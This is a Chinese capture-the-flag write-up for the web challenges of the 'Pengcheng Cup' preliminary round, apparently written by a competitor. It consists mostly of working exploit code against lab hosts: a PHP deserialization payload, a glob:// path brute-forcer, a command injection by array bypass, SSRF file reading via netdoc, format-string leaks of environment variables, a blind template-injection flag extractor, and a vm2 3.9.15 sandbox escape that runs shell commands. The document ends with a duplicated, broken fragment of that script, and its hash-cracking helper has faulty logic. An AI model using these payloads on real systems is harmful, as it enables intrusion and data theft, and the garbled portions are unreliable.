第三届 “鹏城杯”（初赛）
WEB
Web-web1
反序列化tostring打Hack类
Payload:O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A11%3A%22%00Hacker%00exp%22%3BN%3Bs%3A11%3A%22%00Hacker%00cmd%22%3BN%3B%7D%7D
Web-web2
这题发现 backdoor_[a-f0-9]{16}.php 这个
想到了glob://（glob:// — 查找匹配的文件路径模式）
然后写过python脚本爆破路径
import requests
url = "http://172.10.0.5/"
Harder = "abcdef0123456789."
target = "glob://backdoor_"
for i in range(1,66):
for j in Harder:
poc = target +str(j) +"*"
payload ={
"filename":poc
}
# print(j)
req = requests.post(url=url,data=payload)
if "yesyesyes!!!" in req.text:
tar_file = target +str(j)
print(tar_file)
break
else:
print("nonononono")
/backdoor_00fbc51dcdf9eef767597fd26119a894.php
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['username'])){
$sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
mkdir($sandbox);
chdir($sandbox);
if(isset($_GET['title'])&&isset($_GET['data'])){
$data = $_GET['data'];
$title= $_GET['title'];
if (strlen($data)>5||strlen($title)>3){
die("no!no!no!");
}
file_put_contents($sandbox.$title,$data);
if (strlen(file_get_contents($title)) <= 10) {
system('php '.$sandbox.$title);
}
else{
system('rm '.$sandbox.$title);
die("no!no!no!");
}
}
else if (isset($_GET['reset'])) {
system('/bin/rm -rf ' . $sandbox);
}
}
?>
简单的绕过，数组绕过
/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=admin&title[]=1.php&data[]=%3C?=`cat%20/f*`;
Web-HTTP
这题通过扫描路由发现有这个/proxy/url路由传url参数
尝试了ssrf，也没有请求走私，就去谷歌搜索了一下，发现有netdoc可以读文件
file协议也可以读
url:netdoc即可绕过过滤
/proxy/url?url=url%3Anetdoc%3A%2Fflag%23.html
Web-Escape
这题是原题，原题是有两种解法但是这题不行，首先我不知道secret.html里面是否有flag，二是原题里面的长度长度为7，而这题的长度为16，需要爆破10的16次方，爆破这条路肯定走不通了
贴一手第一种解法改的脚本：
import requests
import os
# hashcat -m 1700 -a 0 hash password.txt --show
payload = '{passhash.__str__.__globals__[passhash]}'
url = "http://172.10.0.5:10000/?username=%s&password=anything" % payload
r = requests.get(url)
output = r.text
hash_start = output.find("user '") + len("user '")
hash_end = output.find("'", hash_start)
admin_hash = output[hash_start:hash_end]
with open("hash", "w") as f:
f.write(admin_hash)
print(admin_hash)
def create_salt_wordlist():
with open('wordlist.txt', 'w') as f:
for i in range(10000000000000000):
padded_number = str(i).zfill(16)
salted_string = "****************" + padded_number
f.write(salted_string + "\n")
print("Created salt wordlist in wordlist.txt")
create_salt_wordlist()
def crack_hash():
choose_tool = input("""1.Hashcat \n2.John_The_Ripper \nWhat tool do you want to use to crack?: """)
if choose_tool == "1":
hashcat = "hashcat -m 1700 -a 0 hash wordlist.txt"
hashcat_output = os.system(hashcat)
print(hashcat_output)
if choose_tool == "2":
john_the_ripper = "john --format=raw-sha512 --wordlist=wordlist.txt hash"
john_the_ripper_output = os.system(john_the_ripper)
print(john_the_ripper_output)
elif choose_tool != "1" and "2":
print("Error")
crack_hash()
print("After you get cracked password remove the `very_secure_salt` since it will always contains by default in app and take the numbers behind as password and login with it")
那我们就第二种解法，格式化字符串漏洞获取环境变量
username=%7Bpasshash.__str__.__globals__%5Bapp%5D.wsgi_app.__globals__%5Bos%5D.environ%7D&password=1
Web-Tera
这题直接上脚本
import requests
res=''
j=5
while True:
j+=1
for i in range(32,127):
data=f"""
{{% set res = get_env(name="fl"~"ag") %}}
{{%- if res|truncate(length={j},end='') == 'fla'~'g{{'~'{res+chr(i)}' -%}}
www
{{%- endif -%}}
"""
r=requests.post(url="http://172.10.0.3:8081/",data=data)
s=r.text
if "www" in s:
res+=chr(i)
print("flag{"+res)
break
Web-simple_rpc
这题支持less模板
参考：https://mp.weixin.qq.com/s/EqEyEDKpzxS5BYA_t74p9A
https://www.yuque.com/dat0u/ctf/gupiindgyz7vodib#UIsP7
vm2 3.9.15逃逸
.test {
content: data-uri('/etc/passwd');
}
读取文件的payload
读一下文件
● /app/app.js
● /app/rpc.js
● /app/eval.proto
● /app/package.json
然后发现vm2为3.9.15版本的
var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var PROTO_PATH = __dirname + '/eval.proto';
var packageDefinition = protoLoader.loadSync(
PROTO_PATH,
{keepCase: true,
longs: String,
enums: String,
defaults: true,
oneofs: true
});
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;
function main() {
var client = new hello_proto.Demo('172.10.0.6:8082', grpc.credentials.createInsecure())
client.evalTemplate({ message: 'Hello',template: `aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag');
}` }, function(err, response) {
if (err) {
console.error('Error: ', err)
} else {
console.log(response)
}
})
}
main()
).mainModule.require(‘child_process’).execSync(‘/readflag’);
}` }, function(err, response) {
if (err) {
console.error('Error: ', err)
} else {
console.log(response)
}
})
}
main()
